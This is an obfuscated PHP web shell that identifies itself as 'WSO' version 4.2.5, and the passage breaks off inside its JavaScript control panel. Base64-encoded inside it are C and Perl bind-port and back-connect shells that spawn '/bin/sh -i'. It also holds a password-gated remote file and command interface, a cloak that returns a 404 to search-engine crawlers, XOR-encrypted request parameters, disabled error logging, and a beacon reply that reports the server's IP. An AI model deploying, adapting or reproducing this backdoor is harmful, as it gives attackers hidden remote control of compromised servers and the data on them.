QwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsNCgkkYmluZF9wb3J0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JzYVdJdWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDb3FZWEpuZGlrZ2V3MEtJQ0FnSUdsdWRDQnpMR01zYVRzTkNpQWdJQ0JqYUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ5T3cwS0lDQWdJR1JoWlcxdmJpZ3hMREFwT3cwS0lDQWdJSE1nUFNCemIyTnJaWFFvUVVaZlNVNUZWQ3hUVDBOTFgxTlVVa1ZCVFN3d0tUc05DaUFnSUNCcFppZ2hjeWtnY21WMGRYSnVJQzB4T3cwS0lDQWdJSEl1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnY2k1emFXNWZjRzl5ZENBOUlHaDBiMjV6S0dGMGIya29ZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdEUW9nSUNBZ1ltbHVaQ2h6TENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcEpuSXNJREI0TVRBcE93MEtJQ0FnSUd4cGMzUmxiaWh6TENBMUtUc05DaUFnSUNCM2FHbHNaU2d4S1NCN0RRb2dJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkNpQWdJQ0FnSUNBZ1pIVndNaWhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUW9nSUNBZ0lDQWdJR1IxY0RJb1l5d3lLVHNOQ2lBZ0lDQWdJQ0FnZDNKcGRHVW9ZeXdpVUdGemMzZHZjbVE2SWl3NUtUc05DaUFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjMmw2Wlc5bUtIQXBLVHNOQ2lBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiaWh3S1R0cEt5c3BEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppZ2dLSEJiYVYwZ1BUMGdKMXh1SnlrZ2ZId2dLSEJiYVYwZ1BUMGdKMXh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmJhVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWmlBb2MzUnlZMjF3S0dGeVozWmJNbDBzY0NrZ1BUMGdNQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lITjVjM1JsYlNnaUwySnBiaTl6YUNBdGFTSXBPdzBLSUNBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQ2lBZ0lDQjlEUXA5IjsNCgkkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQoJZWNobyAiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSdnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsnPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+DQoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcyc+IFVzaW5nOiA8bGFiZWw+PHNlbGVjdCBuYW1lPSd1c2luZyc+PG9wdGlvbiB2YWx1ZT0nYnBjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYnBwJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+PC9sYWJlbD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPg0KCTwvZm9ybT4NCgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSdnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+DQoJPHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0iLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIj4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFVzaW5nOiA8bGFiZWw+PHNlbGVjdCBuYW1lPSd1c2luZyc+PG9wdGlvbiB2YWx1ZT0nYmNjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmNwJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+PC9sYWJlbD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPg0KCTwvZm9ybT48YnI+IjsNCglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7DQoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7DQoJCQkkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KCQkJaWYoJHcpCXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRzKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7DQoJCQljZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOw0KCQkJJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsNCgkJCUB1bmxpbmsoIi90bXAvYnAuYyIpOw0KCQkJJOKWliAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4iPC9wcmU+IjsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsNCgkJCWNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOw0KCQkJJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsNCgkJCWNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7DQoJCQkk4paWID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOw0KCQkJQHVubGluaygiL3RtcC9iYy5jIik7DQoJCQkk4paWIC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQoJCQkk4paWID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQoJCX0NCgl9DQoJZWNobyAnPC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICl7DQoJaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJOKWmikpew0KCQkkX1BPU1RbJ2EnXSA9ICTilpo7fQ0KCWVsc2V7DQoJCSRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsgfSB9DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKXsNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTt9DQoJDQp9ZWxzZSB7DQogICAgJHppd3ppdyA9ICRfUE9TVFsnbHlueCddOw0KICAgIGlmICgkeml3eml3ID09ICdhZGRpbmcnKSB7DQogICAgICAgIGVjaG8gcGhwX3VuYW1lKCk7DQogICAgICAgIGVjaG8gJ3NhcmFmaW5vdWJvbWJvbSc7DQogICAgfSBlbHNlIGlmICgkeml3eml3ID09ICdpcCcpIHsNCiAgICAgICAgLy8kaXAgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2lwZWNoby5uZXQvcGxhaW4iKTsNCiAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107DQogICAgICAgIGlmIChmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQKSkgew0KICAgICAgICAgICAgZWNobyAkaXA7DQogICAgICAgICAgICBlY2hvICdzYXJhZmlub3Vib21ib20nOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGhvc3QgPSBnZXRob3N0bmFtZSgpOw0KICAgICAgICAgICAgJGlwID0gZ2V0aG9zdGJ5bmFtZSgkaG9zdCk7DQogICAgICAgICAgICBlY2hvICRpcDsNCiAgICAgICAgICAgIGVjaG8gJ3NhcmFmaW5vdWJvbWJvbSc7DQogICAgICAgIH0NCiAgICB9DQp9IA==";
$gy5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6 = "if (!isset(\$_POST['lynx'])) {\r\n\r\n\$\xe2\x96\x9b = \"\"; //admin\r\n\$\xe2\x96\x98 = true;\r\n\$\xe2\x96\x9c = 'UTF-8';\r\n\$\xe2\x96\x9a = 'FilesMan';\r\n\$\xe2\x96\x99 = md5(\$_SERVER['HTTP_USER_AGENT']);\r\n\r\nfunction decrypt(\$str,\$pwd){\$pwd=base64_encode(\$pwd);\$str=base64_decode(\$str);\$enc_chr=\"\";\$enc_str=\"\";\$i=0;while(\$i<strlen(\$str)){for(\$j=0;\$j<strlen(\$pwd);\$j++){\$enc_chr=chr(ord(\$str[\$i])^ord(\$pwd[\$j]));\$enc_str.=\$enc_chr;\$i++;if(\$i>=strlen(\$str))break;}}return base64_decode(\$enc_str);}\r\nfunction prototype(\$k, \$v) { \$_COOKIE[\$k] = \$v;setcookie(\$k, \$v);}\r\n\r\nif (!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"])) {\r\n\tprototype(md5(\$_SERVER['HTTP_HOST']).\"key\", \$\xe2\x96\x99);\r\n}\r\nif(empty(\$_POST['charset']))\r\n\t\$_POST['charset'] = \$\xe2\x96\x9c;\r\nif (!isset(\$_POST['ne'])) {\r\n\tif(isset(\$_POST['a'])) \$_POST['a'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['a'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['c'])) \$_POST['c'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['c'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p1'])) \$_POST['p1'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p1'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p2'])) \$_POST['p2'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p2'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p3'])) \$_POST['p3'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p3'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n}\r\n//function decrypt(\$str,\$pwd){\$pwd=base64_encode(\$pwd);\$str=base64_decode(\$str);\$enc_chr=\"\";\$enc_str=\"\";\$i=0;while(\$i<strlen(\$str)){for(\$j=0;\$j<strlen(\$pwd);\$j++){\$enc_chr=chr(ord(\$str[\$i])^ord(\$pwd[\$j]));\$enc_str.=\$enc_chr;\$i++;if(\$i>=strlen(\$str))break;}}return base64_decode(\$enc_str);}\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\n@ini_set('max_execution_time',0);\r\n@set_time_limit(0);\r\nif (PHP_VERSION_ID < 70000)\r\n\t@set_magic_quotes_runtime(0);\r\n@define('VERSION', '4.2.5');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array(\$array) {\r\n\t\treturn is_array(\$array) ? array_map('stripslashes_array', \$array) : stripslashes(\$array);\r\n\t}\r\n\t\$_POST = stripslashes_array(\$_POST);\r\n    \$_COOKIE = stripslashes_array(\$_COOKIE);\r\n}\r\n/* (\xd0\xa1) 11.2011 oRb */\r\nif(!empty(\$\xe2\x96\x9b)) {\r\n    if(isset(\$_POST['pass']) && (md5(\$_POST['pass']) == \$\xe2\x96\x9b))\r\n        prototype(md5(\$_SERVER['HTTP_HOST']), \$\xe2\x96\x9b);\r\n    if (!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])]) || (\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])] != \$\xe2\x96\x9b))\r\n        hardLogin();\r\n}\r\nif(!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax']))\r\n    \$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax'] = (bool)\$\xe2\x96\x98;\r\nfunction hardLogin() {\r\n\t\tif(!empty(\$_SERVER['HTTP_USER_AGENT'])) {\r\n\t\t  \$userAgents = array(\"Google\", \"Slurp\", \"MSNBot\", \"ia_archiver\", \"Yandex\", \"Rambler\");\r\n\t\t  if(preg_match('/' . implode('|', \$userAgents) . '/i', \$_SERVER['HTTP_USER_AGENT'])) {\r\n\t\t  header('HTTP/1.0 404 Not Found');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie(\"<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>\");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == \"win\")\r\n\t\$os = 'win';\r\nelse\r\n\t\$os = 'nix';\r\n\$safe_mode = @ini_get('safe_mode');\r\nif(!\$safe_mode)\r\n    error_reporting(0);\r\n\$disable_functions = @ini_get('disable_functions');\r\n\$home_cwd = @getcwd();\r\nif(isset(\$_POST['c']))\r\n\t@chdir(\$_POST['c']);\r\n\$cwd = @getcwd();\r\nif(\$os == 'win') {\r\n\t\$home_cwd = str_replace(\"\\\\\", \"/\", \$home_cwd);\r\n\t\$cwd = str_replace(\"\\\\\", \"/\", \$cwd);\r\n}\r\nif(\$cwd[strlen(\$cwd)-1] != '/')\r\n\t\$cwd .= '/';\r\n/* (\xd0\xa1) 04.2015 Pirat */\r\nfunction hardHeader() {\r\n\tif(empty(\$_POST['charset']))\r\n\t\t\$_POST['charset'] = \$GLOBALS['\xe2\x96\x9c'];\r\n\techo \"<html><head><meta http-equiv='Content-Type' content='text/html; charset=\" . \$_POST['charset'] . \"'><title>\" . \$_SERVER['HTTP_HOST'] . \" - WSO \" . VERSION .\"</title>\r\n<style>\r\n\tbody {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\r\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color: #fff;background-color: #222;}\r\n\ttable#toolsTbl {background-color: #222;}\r\n\tspan,h1,a\t{color:#df5 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n    .main th{text-align:left;background-color:#5e5e5e;}\r\n    .main tr:hover{background-color:#5e5e5e}\r\n\tinput[type='submit']{background-color:#2E6E9C;}\r\n\tinput[type='button']{background-color:#2E6E9C;}\r\n\tinput[type='submit']:hover{background-color:#56AD15;}\r\n\tinput[type='button']:hover{background-color:#56AD15;}\r\n\t.l2{background-color:#444}\r\n    .l1{background-color:#333}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = '\" . htmlspecialchars(\$GLOBALS['cwd']) . \"';\r\n    var a_ = '\" . htmlspecialchars(@\$_POST['a']) .\"'\r\n    var charset_ = '\" . htmlspecialchars(@\$_POST['charset']) .\"';\r\n    var p1_ = '\" . ((strpos(@\$_POST['p1'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p1'],ENT_QUOTES)) .\"';\r\n    var p2_ = '\" . ((strpos(@\$_POST['p2'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p2'],ENT_QUOTES)) .\"';\r\n    var p3_ = '\" . ((strpos(@\$_POST['p3'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p3'],ENT_QUOTES)) .\"';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('\" . addslashes(\$_SERVER['REQUEST_URI']) .\"', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new 